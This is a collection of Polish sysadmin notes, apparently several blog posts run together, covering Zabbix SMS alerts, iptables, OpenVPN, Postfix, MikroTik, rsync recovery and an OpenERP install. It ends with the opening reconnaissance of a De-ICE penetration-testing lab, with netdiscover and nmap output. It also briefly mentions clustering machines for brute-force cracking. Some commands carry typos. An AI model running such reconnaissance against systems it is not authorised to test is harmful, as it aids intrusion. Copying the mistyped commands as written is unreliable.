Pierwsza czynność to przetetowanie możliwości wysyłki z samego API – skopiowanej biblioteki, aby to wykonać edytujemy plik smsapi.sh zmieniając odpowiednio pierwsze wersy swoimi danymi:

VERBOSE=0
USERNAME=”email”
PASSWORD=”MD5PASSWORD”
URI=”https://api.smsapi.pl/api/”

Następnie do pliku nadajemy uprawnienia wykonywania: chmod +x smsapi.sh , i uruchamiamy komendą:

./smsapi sms send –from ECO 48tutajnumertelefonu „msg test hello world”

Po tym mamy pierwszą część z głowy – system pozwala już korzystają z API na wysyłkę sms, by przesyłać tylko dane które chcemy i usprawnic nieco proces korzystania z API, tworzymy dodatkowy plik : smsapi2.sh i wrzuamy do nieco:

#!/bin/bash

to=$1
subject=$2
body=$3

/usr/lib/zabbix/alertscripts/smsapi.sh sms send –from ECO 48numertelefonu „$body”

Pozostało skonfigurować zabbix.

4.) Logujemy się do zabbix, przechodzimy do zakładki „Administration” -> „Media Type” -> Create new -> Wybieramy typ script -> w pole script name podajemy  smsapi2.sh , konieczne jest teraz podanie parametrów które do skryptu bedziemy przesyłać są to:

{ALERT.SENDTO}

{ALERT.SUBJECT}

{ALERT.MESSAGE}

Uruchamiany alarm wysyła informacje do skryptu przesyłając 3 parametry, jednak tylko parametr „Body” brany jest pod uwagę wysyłając wiadomość. ( najważniejsze informacje ).

iptables -A FORWARD -d 255.255.255.255 -j ACCEPT

Do pobrania: https://code.google.com/p/byte-unixbench/downloads/list
Użycie:
1.) Wypakowanie: tar xzfv plik
2.) Użycie podstawowe : ./RUN
3.) Czekamy i otrzymujemy statystyki.

RewriteCond %{HTTP_HOST} ^185\.48\.176\.116
RewriteRule (.*) http://dawidsobieraj.pl/$1 [R=301,L]

Należy uruchomić „apt-get -f install”, aby naprawić poniższe problemy:
Następujące pakiety mają niespełnione zależności:
libreoffice-core : Wymaga: libreoffice-common (> 1:4.2.7) ale nie zostanie zainstalowany
libreoffice-java-common : Wymaga: libreoffice-common ale nie zostanie zainstalowany

Rozwiązanie problemu

dpkg -r openoffice-debian-menus

apt-get -f install

System: debian 64bit,

service zabbix-agent stop
service zabbix-server stop

wget http://repo.zabbix.com/zabbix/2.4/debian/pool/main/z/zabbix/zabbix-server-mysql_2.4.3-1+wheezy_amd64.deb
dpkg -i zabbix-server-mysql_2.4.3-1+wheezy_amd64.deb

wget http://repo.zabbix.com/zabbix/2.4/debian/pool/main/z/zabbix/zabbix-frontend-php_2.4.3-1+wheezy_all.deb
dpkg -i zabbix-frontend-php_2.4.3-1+wgeezy_all.deb

– automatyczna migracja danych + aktualizacja bazy mysql,

# Zmiana czasu pliku
touch -t rrmmtthhss

# duplikacja meta-tagow
touch -r duzy_plik duzy_plik.gz

# wykonanie okreslonych operacji gdy load_systemu bedzie niski
ech gzip_duzy | batch

Ciekawostki:

du -sch /home/* // ile miejsca zajmuja katalogi
df -i // wyswietlenie ilosci wolnych „inode”
find -size +100M // szuka pliki + 100M
head plik // wyswietla 10 pierwszych linii z pliku
tail plik // wyswietla 10 ostatnich linii z pliku
cat plik // wyswietla zawartosc
tac plik // wyswietla zawartosc od tylu
tail -f plik // real-time monitorowanie zmian w pliku (np w logach )
—————————————————-
# Terminal Multiplexer
ctrl + b + % = dzielenie pionowo
ctrl + b + ” = dzielnie poziomo

ctrl +b + strzałki = przełączanie
nowe okna = c
przełączanie miedzy oknami: p / n
—————————————————-

# przeniesienie do poprzedniego katalogu : cd –
# powtórzenie ostatniego argumentu polecenia , alt + . ,
# czyszczenie ekranu : ctrl + l

BASH:
schowek bashowy : ctrl + u , wklejenie ctrl + y,
naprawa błędów w bash, ctrl + t ( literówek ),
zamiana konkretnego elementu z poprzedniego na inny, ^lubie^chce
Złożone polecenie: ctrl + x + e

# wywolanie polecenia z listy historii !nr_polecenia
# wyszukiwanie wykonanych poleceń, history -> ctrl +r = szukanie
# ukrywanie polecen z historii, zaczynami od spacji
# whereis szukanie binarnego pliku , lub type uwshell
# szukanie procesow : ps auxf | grep [a]pache
# usuwanie kolejki email postfix postsuper -d ALL

#############################################
Serwer:
kasowanie poczty
exim -bp | grep [234567890][d]| awk '{print $3}’ | xargs exim -Mrm
exim -bp | grep [234567890][h]| awk '{print $3}’ | xargs exim -Mrm
exim -bp | grep [234567890][m]| awk '{print $3}’ | xargs exim -Mrm
#############################################

Blokowanie IP iptables:
/sbin/iptables -A INPUT -p tcp –destination-port {PORT-NUMBER-HERE} -j DROP

iptables -A INPUT -sxx -j DROP
iptables -A FORWARD -s 8xx6 -j DROP
iptables -A INPUT -d xx -j DROP
iptables -A FORWARD -d xx-j DROP
Otwarcie portu iptables:
iptables -A INPUT -p tcp -i eth0 –dport 123 -j ACCEPT

dhclinet eth0
ifconfig eth0 192.168.1.10 broadcast 192.168.1.255 netmask 255.255.255.0
ip route add default via 192.168.1.1

# zabbix-agent
repo : deb http://YOURMIRROR.debian.org/debian wheezy-backports main
pakiet: apt-get install zabbix-agent + konf /etc/zabbix/zabbix_agent.conf
# logowanie z powloka uzytkownika: su – openerp -s /bin/bash

mysql: mysql –host localhost –user użytkownik_bazy -p nazwa_bazy < plik_ze_zrzutem.sql
mysqldump -uroot -p haslo–all-databases > all_db.sql // zrzut wszystkich tabel

# Monitorowanie połączeń iptraf / iftop / nethogs wlan0 ( statystyki polaczen )

################# open vpn #################
# Tworzenie nowych kluczy:
/root/easy-rsa
./build-key nazwa klucza

# usuwanie certyfikatu ( powstanie plik ctr.pem , sciezke do tego pliku nalezy podac w konfiguracji serwera crl-verify crl.pem )
./revoke-full <identyfikator klienta>

Typ kluczy:
ca.crt = potrzebny dla serwera i klientów
ca.key = prywatne potrzebny do generowanie kluczy?
Serwer potrzebuje: server.crt dh2048.pem server.key ta.key(prywatny),
Klient potrzebuje: client.crt client.ket , ta.key ( prywatny ),

################# ################# #################

Kopia zapasowa rsync:

rsync -avhrz –progress -e „ssh -p PORT ” root@ip_serwera:/ /home/lokalizacja/ –exclude=/proc^

 

Odzyskiwanie systemu:

1. Uruchamiamy linux live-cd ( przykład ubuntu ),
2. Formatujemy dysk pod którym znajdzie się nasz odzyskany system:

sudo fdisk /dev/sda
Wpisujemy n ( kilka razy akceptujemy komunikaty ),
Wpisujemy w

3. Formatujemy partycje :

sudo mkfs.ext3 dev/sda1

4. Montujemy partycje pod katalog:

sudo mount /dev/sda1 /mnt

5. Kopiujemy naszą wczesniej wykonaną kopie na nowy dysk:

rsync -avhrz –progress -e „ssh -pport „root@ip_systemu:/home/lokalizacjazkopiazapasowa /mnt/

6. Aktualizujemy wpis w /mnt/etc/fstab dodając nowy UUID , nowego dysku lub zmieniamy nazwe partycji
7. Aktualizujemy grub:

sudo grub-install /dev/sda –root-directory=/mnt

lub

sudo grub-install  –root-directory=/mnt  /dev/sda1

Wykonujemy restart, gotowe,

1.) W przedstawionym urządzeniu wyposażonym w sieć bezprzewodową, pierwszy element który wykonujemy to podłączenie się do sieci wifi ( niezabezpieczonej ) o essid : Mikrotik,

2.) Po poprawnym zalogowaniu do sieci, mozemy uruchomić aplikacje ” winbox ” , korzystając z podstawowych ustawień klikamyna guzik z trzema kropkami, po prawej stronie od „Connect to”, z listy wybieramy nasz router – standardowo użytkownik to admin, hasła brak,

3.) Po zalogowaniu mamy możliwość konfiguracji naszych ustawień, w podstawowej konfiguracji mamy :

port eth1 = gateway ( brama ),
port wlan – eth2..eth5 = bridge

Aby, nasz router mógł poprawnie działać musimy skonfigurować, adresacje, DHCP, domyślny routing ( brame ) oraz nowy ESSID + hasło,

Jako pierwszy element, usuwamy DHCP-Client z portu ether1-gateway:

Przechodzimy do zakładki IP -> DHCP Client , klikamy prawym przyciskiem myszy na ether1-gateway, z listy wybieramy Disable,

By zmienić adresacje sieci :

-> Przechodzimy do zakładki po lewej stronie IP -> Addresses ( tutaj mamy możliwość zmiany adresacji dla bridge-local , ether1-gateway )
Klikamy na ether1-gateway , wpisujemy tutaj adres jaki ma mieć nasza brama ( czyli wpisujemy tutaj ustawienia otrzymane od dostawcy Internetu ), przykładowo w postaci:
192.168.0.1/24 Network: 192.168.0.0
Klikamy następnie na bridge-local , oraz wpisujemy adres naszego routera w sieci lokalnej, przykładowo: 192.168.1.1/24 Network: 192.168.1.0

Konfigurujemy DHCP:

 Przechodzimy do zakładki IP -> DHCP Server , następnie w nowym oknie które nam się pojawiło, przechodzimy do zakładki Networks , klikamy dwa razy lewym przyciskiem myszy na ;;; default configuration, oraz w podane pola wpisujemy:  Address: 192.168.1.0/24 , gateway: ( adres który wybraliśmy dla naszego routera ) : 192.168.1.1

Kolejnym elementem jest wybranie zakresów z którego DHCP będzie przydzielał adresy, w tym celu przechodzimy do IP -> Pool :

Klikamydwa razy na default-dhcp, oraz wpisujemy interesujące nas przedziały.

Czas na domyślny routing, ustawienie bramy:

Przechodzimy w tym celu do IP -> Routes

Klikamy na „plus” , następnie w Dst. Address wpisujemy : 0.0.0.0/0 ( aby kierował cały ruch ), w pole Gateway: wpisujemy adres bramy który został nam dostarczony przez operatora sieci.

Na sam koniec konfigurujemy sieć bezprzewodową, aby to wykonać przechodzimy do zakładki Wireless :

Klikamy dwa razy lewym przyciskiem myszy na pole wlan1,

W wyświetlonym oknie przechodzimy do zakładki „wireless”, w pole SSID: wpisujemy nazwe naszej sieci, zatwierdzamy przyciskiem OK. Aby ustawić hasło naszej sieci przechodzimy do zakładki Security Profiles ( tak jak na oknie powyżej ), klikamy na „plusik”, w pole „Name” : profile1 , w pole WPA Pre-Shared key: wpisujemy nasze hasło,w pole WPA2 Pre-Shared key: wpisujemy nasze hasło.

Aby, zatwierdzić wybrane przez nas hasło, znów przechodzimy do zakładki „Interfaces” ( z obrazka powyżej ), klikamy lpm na wlan1, oraz zmianiemy „Security profile” : wybieramy profile1

Nasza konfiguracja jest zakończona, aby wykonać kopie zapasową warto przejść do zakładki Files, oraz wybrać „Backup„.

Pierwsze co wykonujemy to dodanie funkcjonalności łączenia się z ssh zewnętrznego serwera bez wpisywania hasła ( dodanie swojego klucza ),

1.) Wpisujemy w terminalu:

ssh-keygen
ssh-copy-id -i ~/.ssh/id_rsa.pub root@zdalny-host

Sprawdzamy poprawność:

ssh root@zdalny-host ( powinniśmy się zalogować bez wpisywania hasła ),

2.) Instalujemy rsync

apt-get install rsync ( lub rsnapshot – ciekawa aplikacja ),

3.) Uruchamiamy aplikacje rsync:

rsync -avhrz –progress -e ssh root@zdalny-host:/ /home/kopia-zapasowa/ –exclude=/proc

* podaną komenda warto dodać do crona, a zrobić to mozemy poprzez dodanie wpisu, wpisujemy:
W terminalu:
crontab -e
* * * * *  rsync -avhrz –progress -e ssh root@zdalny-host:/ /home/kopia-zapasowa/ –exclude=/proc

Poniżej konfiguracja w kilku krokach:

1.) /etc/postfix/master.cf

adresip:smtp inet n – – – – smtpd
-o myhostame = nazwa domeny
adresip :smtp inet n – – – – smtpd
-o myhostname= DOMENA
-o syslog_name=
-o smtp_helo_name=
-o smtp_bind_address= adresip
#-o myhostname=localhost

adresip :smtp inet n – – – – smtpd -o myhostname= DOMENA
-o myhostname= DOMENA
-o syslog_name= DOMENA
-o smtp_helo_name= DOMENA
-o smtp_bind_address= adresip
#-o myhostname=localhost

adresip :smtp inet n – – – – smtpd -o myhostname= DOMENA
-o myhostname= DOMENA
-o syslog_name= DOMENA
-o smtp_helo_name= DOMENA
-o smtp_bind_address= adresip  adresip
#-o myhostname=localhost

smtp2-out unix – – n – – smtp
-o smtp_bind_address= adresip
-o smtp_helo_name= DOMENA l
-o syslog_name= DOMENA

smtp3-out unix – – n – – smtp
-o smtp_bind_address= adresip
-o smtp_helo_name=DOMENA
-o syslog_name= DOMENA

smtp4-out unix – – n – – smtp
-o smtp_bind_address= adresip
-o smtp_helo_name= DOMENA
-o syslog_name= DOMENA

2.) /etc/postfix/main.cf

Dodajemy:

sender_dependent_default_transport_maps = hash:/etc/postfix/sender_transport

3.) Tworzymy plik: /etc/postfix/sender_transport

# Adresy IP
@smtp2.domena.pl  smtp2-out:
@smtp3.domena.pl   smtp3-out:
@smtp4.domena.pl   smtp4-out:

4.) Wydajemy komende:

postmap hash:/etc/postfix/sender_transport

5.) Przeładowanie postfix:

service postfix reload

Gotowe,

# Aktualizacja systemu:

apt-get update
apt-get upgrade
apt-get dist-upgrade

# Sprawdzany czy TUN jest uruchomiony

test ! -c /dev/net/tun && echo openvpn requires tun support || echo tun is available

# Instalacja potrzebnych pakietów:

apt-get install openvpn && apt-get install bridge-utils

# Konfiguracja Easy-RSA

cp -prv /usr/share/doc/openvpn/examples/easy-rsa/2.0 /root/easy-rsa
cd /root/easy-rsa
cp vars{,.orig}

# Podstawowa konfiguracja Easy-RSA

vim ./vars

KEY_SIZE=2048
KEY_COUNTRY=”MK”
KEY_PROVINCE=”MK”
KEY_CITY=”Veles”
KEY_ORG=”The Streets”
KEY_EMAIL=”email”

export konf. :

source ./vars

usuwanie poprzednich kluczy

./clean-all

# Generowanie certyfikatu CA

./build-ca

# Generowanie certyfikatu serwera:

./build-key-server serwer

# Generowanie Diffie-Hellman PEM certyfikat

./build-dh

# Generowanie  (HMAC – Hash-based Message Authentication Code )

openvpn –genkey –secret /root/easy-rsa/keys/ta.key

Umieszczamy certyfikaty:

mkdir -p /etc/openvpn/certs
cp -pv /root/easy-rsa/keys/{ca.{crt,key},serwer.{crt,key},ta.key,dh2048.pem} /etc/openvpn/certs/

# Konfigurujemy nano /etc/openvpn/openvpn.conf

mode server
port 1194
proto udp
#dev tun
dev tap0

ca /etc/openvpn/certs/ca.crt
cert /etc/openvpn/certs/serwer.crt
key /etc/openvpn/certs/serwer.key
dh /etc/openvpn/certs/dh2048.pem
tls-auth /etc/openvpn/certs/ta.key 0

#server 192.168.2.0 255.255.255.0
server-bridge 192.168.1.5 255.255.255.0 192.168.1.51 192.168.1.55

keepalive 10 120
tls-auth ta.key 0
comp-lzo
user nobody
cipher AES-256-CBC
group nogroup
persist-key
persist-tun
log-append openvpn.log
verb 3
mute 10

 

# Uruchamiamy serwer:

service openvpn restart
update-rc.d -f openvpn defaults

# Konfigurujemy przekierowanie ruchu:

vim /etc/sysctl.conf
:%s/net.ipv4.ip_forward = 0/net.ipv4.ip_forward = 1/

sysctl -p

Konfiguracja klienta:

Tworzymy plik konfiguracyjny w folderze aplikacji openVPN ( serwer1.ovpn — rozszerzenie dla aplikacji w systemie Windows )

client
dev tun
proto udp
remote xxxx
tls-auth C:\ta.key” 1
ca C:\ca.crt
cert C:\tunel-vpn-client1.crt
key C:\tunel-vpn-client1.key
persist-tun
persist-key
ns-cert-type server
cipher AES-256-CBC
comp-lzo
verb 3
keepalive 10 120

# Informacja o typie kluczy:

The public ca.crt certificate is needed on all servers and clients
The private ca.key key is secret and only needed on the key generating machine
A server needs server.crt, dh2048.pem (public), server.key and ta.key (private)
A client needs client.crt (public), client.key and ta.key (private)

# Usuwanie kluczy:

# usuwanie certyfikatu ( powstanie plik ctr.pem , sciezke do tego pliku nalezy podac w konfiguracji serwera crl-verify crl.pem )
./revoke-full <identyfikator klienta>

Jak już udało się skompletować części, a konkretniej mini klawiature/mysz której mi brakowało do zestawu przystąpiłem do poszukiwania optymalnego systemu, pierwszy jaki wpadł w ręce to OPENELEC. Który jak widać na poniższych zdjęciach spełnia swoje zadanie w 100%. Raspberry z podanym systemem, sam zbiera pliki sortując je i pobiera okładki/opisy z ogólnodostępnych stron w sieci. Pokazując nam przejrzystą zawartość naszego „multimedialnego” zaplecza. ( przypatne kiedy mamy wiele dziwnych nazw/opisów folderów w naszym NAS’ie ).

Sam zestaw Raspberry Pi miałem od dłuższego czasu jest to starsza wersja, obecnie dostępne są wersje z 4 portami USB i poprawionymi błędami, czy tez słabym wsparciem zasilania dla USB. W moim przypadku udało się wykorzystać zasilacz sieciowy który zasila z prądem 2A.

Po sprzęcie przyszedł czas na samą instalacje która okazała się dość łatwa, wystarczy podać dostępny w sieci OPENELEC na Raspberry Pi ( specjalnie nie linkuje tutaj – ze względu na częste aktualizacje systemu ), wybieramy wersje z obrazem ( *.img ) instalujemy na karcie SD, wkładamy do Raspberry i tutaj przystępujemy do pierwszej konfiguracji. Mamy tutaj menu w j.polskim co dodatkowo może pomóc. Kwestia kilku kliknięć i mamy w pełni skonfigurowany system gotowy do pracy.

Nie wspomniałem wcześniej o tym w jaki sposób mam zamiar się komunikować – z założenia poprzez sieć WIFI, oczywiście sterowniki i pełne wsparcie uzyskujemy z panelu ( bez zagłębiania się w dalszą konfiguracje ), ważne jest aby dodać repozytorium oraz oznaczyć jakiego typu jest to folder ( filmy/seriale/… ), co pozwoli systemowi na pobranie opisów/okładek.

1.) Niezbędne pakiety przed instalacją:

# apt-get install bzip2

2.) Wykorzystałem częściowo gotową konfiguracja od iRedMail ( instalujemy pakiet ):
# wget http://iredmail.googlecode.com/files/  ( wchodzimy na strone i wybieramy najnowszy pakiet… ),
# tar jxvf iRedMail-x.x.x.tar.bz2
# cd iRedMail-x.x.x# bash iRedMail.sh

Przechodzimy w tym momencie instalator instalując potrzebne pakiety,

3.) Konfiguracja iRedMail:
Mając dostęp do panelu administracyjnego konfigurujemy domene, interesujące nas skrzynki,

4.) Opcja – konfiguracja aliasów do skrzynek
Przechodzimy do phpmyadmin, przechodzimy do bazy która została utworzona przez iRedMail, ( nazwa : vmail ) , przechodzimy do tabeli alias -> edytujemy interesujący nas rekord, dodając lub zmieniając pole „goto”, adresy można dodać po przecinku,

5.) Konfiguracja SPF

Konfigurujemy SPF na naszym DNS dodając rekord TXT ,  „v=spf1 ip4:255.255.255.255 -all”  ( w adres IP wpisujemy adres IP serwera pocztowego ), tak robimy dla każdego z serwerow,

6.) Konfiguracja DKIM:

-> Sprawdzamy utworzony klucz przez iRedMail:

amavisd-new showkeys domena.pl

Wyświetlony klucz wklejamy odpowiednio formatowany do naszego DNS ( rekord txt ) , ważne by użyć odpowiedniej nazwy w rekordzie txt, typu: dkim._domainkey.xyz.com , przykład formatowania: https://code.google.com/p/iredmail/wiki/DNS_DKIM

Aby dodać kolejną domene( lub serwer smtp ) :
cd /var/lib/dkim/
amavisd-new genrsa xyz.com.pem
chmod 0644 xyz.com.pem

Dodajemy do pliku amavisd.conf :
dkim_key(„xyz.com”, „dkim”, „/var/lib/dkim/xyz.com.pem”);

Zmieniamy w pliku amavisd.conf, linijkę:
Z @local_domain_maps =1; na :

@local_domains_maps = ( [„.$mydomain”, „firstdomain.com”, „xyz.com”] ); # list of all local domains

7.) Optymalizacja postfix

Poprawki wykonujemy w pliku /etc/postfix/main.cf

default_process_limit = 150 # lista procesów
qmgr_message_active_limit = 40000
qmgr_message_recipient_limit = 40000

apt-get install openssh-server denyhosts

 

Step 2. Create the OpenERP user that will own and run the application

sudo adduser –system –home=/opt/openerp –group openerp

This is a “system” user. It is there to own and run the application, it isn’t supposed to be a person type user with a login etc. In Ubuntu, a system user gets a UID below 1000, has no shell (it’s actually /bin/false) and has logins disabled. Note that I’ve specified a “home” of /opt/openerp, this is where the OpenERP server code will reside and is created automatically by the command above. The location of the server code is your choice of course, but be aware that some of the instructions and configuration files below may need to be altered if you decide to install to a different location.

[Note: If you want to run multiple versions of OpenERP on the same server, the way I do it is to create multiple users with the correct version number as part of the name, e.g. openerp70, openerp61 etc. If you also use this when creating the Postgres users too, you can have full separation of systems on the same server. I also use similarly named home directories, e.g. /opt/openerp70, /opt/openerp61 and config and start-up/shutdown files. You will also need to configure different ports for each instance or else only the first will start.]

A question I have been asked a few times is how to run the OpenERP server as the openerp system user from the command line if it has no shell. This can be done quite easily:

sudo su – openerp -s /bin/bash

This will su your current terminal login to the openerp user (the “-” between su and openerp is correct) and use the shell /bin/bash. When this command is run you will be in openerp’s home directory: /opt/openerp.

When you have done what you need you can leave the openerp user’s shell by typing exit.
Step 3. Install and configure the database server, PostgreSQL

sudo apt-get install postgresql

Then configure the OpenERP user on postgres:

First change to the postgres user so we have the necessary privileges to configure the database.

sudo su – postgres

Now create a new database user. This is so OpenERP has access rights to connect to PostgreSQL and to create and drop databases. Remember what your choice of password is here; you will need it later on:

createuser –createdb –username postgres –no-createrole –no-superuser –pwprompt openerp
Enter password for new role: ********
Enter it again: ********

Finally exit from the postgres user account:

exit
Step 4. Install the necessary Python libraries for the server

sudo apt-get install python-dateutil python-docutils python-feedparser python-gdata \
python-jinja2 python-ldap python-libxslt1 python-lxml python-mako python-mock python-openid \
python-psycopg2 python-psutil python-pybabel python-pychart python-pydot python-pyparsing \
python-reportlab python-simplejson python-tz python-unittest2 python-vatnumber python-vobject \
python-webdav python-werkzeug python-xlwt python-yaml python-zsi

With that done, all the dependencies for installing OpenERP 7.0 are now satisfied (note that there are some new packages required since 6.1).
Step 5. Install the OpenERP server

I tend to use wget for this sort of thing and I download the files to my home directory.

Make sure you get the latest version of the application: at the time of writing this it’s 7.0. I got the download links from their download pages (note there are also deb, rpm and exe builds in this area too). There isn’t a static 7.0 release tarball as such anymore, but there is a nightly build of the 7.0 source tree which should be just as good and will contain patches as and when things get fixed. The link below is to the source tarball for the 7.0 branch.

 

 

wget http://nightly.openerp.com/7.0/nightly/src/openerp-7.0-latest.tar.gz# Warto pobrać nowszą wersje  http://nightly.openerp.com/7.0/nightly/src/

Now install the code where we need it: cd to the /opt/openerp/ directory and extract the tarball there.

cd /opt/openerp
sudo tar xvf ~/openerp-7.0-latest.tar.gz

Next we need to change the ownership of all the the files to the OpenERP user and group we created earlier.

sudo chown -R openerp: *

And finally, the way I have done this is to copy the server directory to something with a simpler name so that the configuration files and boot scripts don’t need constant editing (I called it, rather unimaginatively, server). I started out using a symlink solution, but I found that when it comes to upgrading, it seems to make more sense to me to just keep a copy of the files in place and then overwrite them with the new code. This way you keep any custom or user-installed modules and reports etc. all in the right place.

sudo cp -a openerp-7.0 server

As an example, should OpenERP 7.0.1 come out soon, I can extract the tarballs into /opt/openerp/ as above. I can do any testing I need, then repeat the copy command so that the modified files will overwrite as needed and any custom modules, report templates and such will be retained. Once satisfied the upgrade is stable, the older 7.0 directories can be removed if wanted.

That’s the OpenERP server software installed. The last steps to a working system is to set up the configuration file and associated boot script so OpenERP starts and stops automatically when the server itself stops and starts.
Step 6. Configuring the OpenERP application

The default configuration file for the server (in /opt/openerp/server/install/) is actually very minimal and will, with only one small change work fine so we’ll simply copy that file to where we need it and change it’s ownership and permissions:

sudo cp /opt/openerp/server/install/openerp-server.conf /etc/
sudo chown openerp: /etc/openerp-server.conf
sudo chmod 640 /etc/openerp-server.conf

The above commands make the file owned and writeable only by the openerp user and group and only readable by openerp and root.

To allow the OpenERP server to run initially, you should only need to change one line in this file. Toward to the top of the file change the line db_password = False to the same password you used back in step 3. Use your favourite text editor here. I tend to use nano, e.g.

sudo nano /etc/openerp-server.conf

One other line we might as well add to the configuration file now, is to tell OpenERP where to write its log file. To complement my suggested location below add the following line to the openerp-server.conf file:

logfile = /var/log/openerp/openerp-server.log

Once the configuration file is edited and saved, you can start the server just to check if it actually runs.

sudo su – openerp -s /bin/bash
/opt/openerp/server/openerp-server

If you end up with a few lines eventually saying OpenERP is running and waiting for connections then you are all set.

On my system I noticed the following warning:

2012-12-19 11:53:51,613 6586 WARNING ? openerp.addons.google_docs.google_docs: Please install latest gdata-python-client from http://code.google.com/p/gdata-python-client/downloads/list

The Ubuntu 12.04 packaged version of the python gdata client library is not quite recent enough, so to install a more up-to-date version I did the following (exit from the openerp user’s shell if you are still in it first):

sudo apt-get install python-pip
sudo pip install gdata –upgrade

Going back and repeating the commands to start the server resulted in no further warnings

sudo su – openerp -s /bin/bash
/opt/openerp/server/openerp-server

If there are errors, you’ll need to go back and find out where the problem is.

Otherwise simply enter CTL+C to stop the server and then exit to leave the openerp user account and go back to your own shell.
Step 7. Installing the boot script

For the final step we need to install a script which will be used to start-up and shut down the server automatically and also run the application as the correct user. There is a script you can use in /opt/openerp/server/install/openerp-server.init but this will need a few small modifications to work with the system installed the way I have described above. Here’s a link to the one I’ve already modified for 7.0.

Similar to the configuration file, you need to either copy it or paste the contents of this script to a file in /etc/init.d/ and call it openerp-server. Once it is in the right place you will need to make it executable and owned by root:

sudo chmod 755 /etc/init.d/openerp-server
sudo chown root: /etc/init.d/openerp-server

In the configuration file there’s an entry for the server’s log file. We need to create that directory first so that the server has somewhere to log to and also we must make it writeable by the openerp user:

sudo mkdir /var/log/openerp
sudo chown openerp:root /var/log/openerp
Step 8. Testing the server

To start the OpenERP server type:

sudo /etc/init.d/openerp-server start

You should now be able to view the logfile and see that the server has started.

less /var/log/openerp/openerp-server.log

If there are any problems starting the server you need to go back and check. There’s really no point ploughing on if the server doesn’t start…

OpenERP 7 Database Management Screen

If the log file looks OK, now point your web browser at the domain or IP address of your OpenERP server (or localhost if you are on the same machine) and use port 8069. The url will look something like this:

http://IP_or_domain.com:8069

What you should see is a screen like this one (it is the Database Management Screen because you have no OpenERP databases yet):

What I do recommend you do at this point is to change the super admin password to something nice and strong (Click the “Password” menu). By default this password is just “admin” and knowing that, a user can create, backup, restore and drop databases! This password is stored in plain text in the /etc/openerp-server.conf file; hence why we restricted access to just openerp and root. When you change and save the new password the /etc/openerp-server.conf file will be re-written and will have a lot more options in it.

Now it’s time to make sure the server stops properly too:

sudo /etc/init.d/openerp-server stop

Check the logfile again to make sure it has stopped and/or look at your server’s process list.
Step 9. Automating OpenERP startup and shutdown

If everything above seems to be working OK, the final step is make the script start and stop automatically with the Ubuntu Server. To do this type:

sudo update-rc.d openerp-server defaults

You can now try rebooting you server if you like. OpenERP should be running by the time you log back in.

If you type ps aux | grep openerp you should see a line similar to this:

openerp 1491 0.1 10.6 207132 53596 ? Sl 22:23 0:02 python /opt/openerp/server/openerp-server -c /etc/openerp-server.conf

Which shows that the server is running. And of course you can check the logfile or visit the server from your web browser too.

OpenERP 70 Main Setup Screen

That’s it! Next I would suggest you create a new database filling in the fields as desired. Once the database is initialised, you will be directed straight to the new main configuration screen which gives you a fell for the new User Interface in OpenERP 7 and shows you how easy it is to set up a basic system

 

http://www.theopensourcerer.com/2012/12/how-to-install-openerp-7-0-on-ubuntu-12-04-lts/

Konfiguracja apache vhost: 

<VirtualHost *:80>
ServerName domena.pl
RewriteEngine on
RewriteRule ^/(.*) http://localhost:8069/$1 [P]
ProxyPassReverse / http://localhost:8069/
</VirtualHost>

 

Kod autouruchamiania : http://www.theopensourcerer.com/wp-content/uploads/2012/12/openerp-server

mkdir /mnt/usb
mount /dev/sdd2 /mnt/usb
echo „/ union” >> /mnt/usb/persistence.conf
umount /mnt/usb

montujemy dodatkową partycję którą utworzyliśmy na pendrive,

+ dodanie automatycznego persistence podczas uruchamiania, do syslinux.cfg dodajemy ( w linijce z ładowaniem linuxa ) persistence,

apt-get update
apt-get install php-apc

/etc/php5/conf.d/~~apc

extension=apc.so
apc.shm_size=64M
apc.shm_segments=1
apc.stat=1
apc.max_file_size=2M

# Skanowanie komputerów na możliwość ataku w sieci wewnętrznej

# Konfiguracja :
OpenVAS > OpenVAS Setup
# Uruchamiamy panel webowy:
https://localhost:9392
# Aktualizacja bazy danych
Administration > NVT Feed > Synchronise with Feed Now
#

sudo rm /var/lib/apt/lists/* -vf
sudo apt-get update

# Przekierowanie z bez www na z www

RewriteEngine On
RewriteCond %{HTTP_HOST} ^domena.pl(.*) [NC]
RewriteRule ^(.*)$ http://www.domena.pl/$1 [R=301,L]

#Przekierowanie z www na bez www

RewriteEngine On
RewriteCond %{HTTP_HOST} ^www.domena.pl(.*) [NC]
RewriteRule ^(.*)$ http://domena.pl/$1 [R=301,L]

# Ściągamy i uruchamiamy dystrybucje clusterKnoppix

# Uruchamiamy w terminalu: knoppix-terminalopenmosixserver + konfigurujemy skrypt

# Uruchamiamy kolejną maszynę ( network boot ) 

# Uruchamiamy narzędzia w terminalu mosmon ( testujemy rozchodzenie obciażenia po sieci )

# Wykonujemy przykładowy skrypt, aby sprawdzić rozkład obciażenia: awk 'BEGIN {for(i=0;i<10000;i++)for(j=0;j<10000;j++);}’&

Pozostała opcja instalacji clusterKnoppix – polecenie w terminalu:  knoppix-installer , do czego cluster? Chociazby do równomiernego obciążenia sprzętu który zajmuje się łamaniem brute-force

# Źródła:

http://dokuwiki.pac.com.pl/doku.php?id=misc:debian:art38
http://www.firewall.cx/linux-knowledgebase-tutorials/openmosix-linux-supercomputer/303-linux-openmosix-using-cluster.html
http://www.firewall.cx/linux-knowledgebase-tutorials/openmosix-linux-supercomputer/302-linux-openmosix-building.html

Wybrany opisywany scenariusz to : „De-ICE S1.120” – więcej informacji na temat scenariusz można znaleźć w sieci,

ISO:  De-ICE S1.120

Sieć: 192.168.1.120 [ system widoczny w sieci po uruchomieniu ]

# Badamy sieć wewnętrzną

netdiscover -r 192.168.1.0/24 -i eth2
Currently scanning: Finished! | Screen View: Unique Hosts
1 Captured ARP Req/Rep packets, from 1 hosts. Total size: 60
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor
—————————————————————————–
192.168.1.120 08:00:27:37:ba:3d 01 060 CADMUS COMPUTER SYSTEMS

# Badamy określonego hosta:

root@kali:~/de-ice/1.120# nmap -n -sV -A -p- 192.168.1.120
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_dr-xr-xr-x 2 0 0 40 Jan 2 2011 incoming
22/tcp open ssh OpenSSH 5.1 (protocol 2.0)
| ssh-hostkey:
| 1024 f0:90:25:9a:9e:cd:bd:31:ec:e9:f4:11:47:2f:69:a4 (DSA)
|_ 2048 06:32:d9:26:9a:53:f0:78:9c:43:fd:9c:50:26:d0:64 (RSA)
